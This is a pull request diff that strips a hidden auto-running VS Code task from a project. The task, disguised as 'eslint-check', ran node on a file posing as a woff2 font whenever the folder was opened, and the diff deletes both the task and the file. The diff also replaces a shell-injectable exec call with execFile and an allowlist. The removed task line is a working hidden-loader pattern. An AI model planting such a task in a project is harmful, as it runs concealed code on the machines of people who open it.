Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 2 additions & 8 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"task.allowAutomaticTasks": "off",
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
Expand All @@ -13,11 +13,5 @@
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
"compile-hero.disable-compile-files-on-did-save-code": true
}
31 changes: 1 addition & 30 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -1,33 +1,4 @@
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
"tasks": []
}
1 change: 0 additions & 1 deletion public/fonts/fa-solid-400.woff2

This file was deleted.

49 changes: 32 additions & 17 deletions src/screens/ProfileConfirm.tsx
Original file line number Diff line number Diff line change
@@ -1,25 +1,40 @@
import React, { useState } from "react";
import { Box, Text, useInput } from "ink";
import { exec } from "child_process";
import { execFile } from "child_process";

const ALLOWED_OPEN_HOSTS = new Set([
"linkedin.com",
"www.linkedin.com",
"x.com",
"www.x.com",
"twitter.com",
"www.twitter.com",
]);

function isAllowedHttpUrl(raw: string): boolean {
try {
const parsed = new URL(raw);
if (parsed.protocol !== "https:") return false;
return ALLOWED_OPEN_HOSTS.has(parsed.hostname.toLowerCase());
} catch {
return false;
}
}

const openUrl = (url: string) => {
let command;
switch (process.platform) {
case "darwin":
command = `open "${url}"`;
break;
case "win32":
command = `start "" "${url}"`;
break;
default:
command = `xdg-open "${url}"`;
if (!isAllowedHttpUrl(url)) {
return;
}

exec(command, (error) => {
if (error) {
// Silently fail if unable to open URL
}
});

if (process.platform === "darwin") {
execFile("/usr/bin/open", [url], () => {});
return;
}
if (process.platform === "win32") {
execFile("C:\\Windows\\System32\\cmd.exe", ["/c", "start", "", url], () => {});
return;
}
execFile("/usr/bin/xdg-open", [url], () => {});
};

export interface Contact {
Expand Down
Loading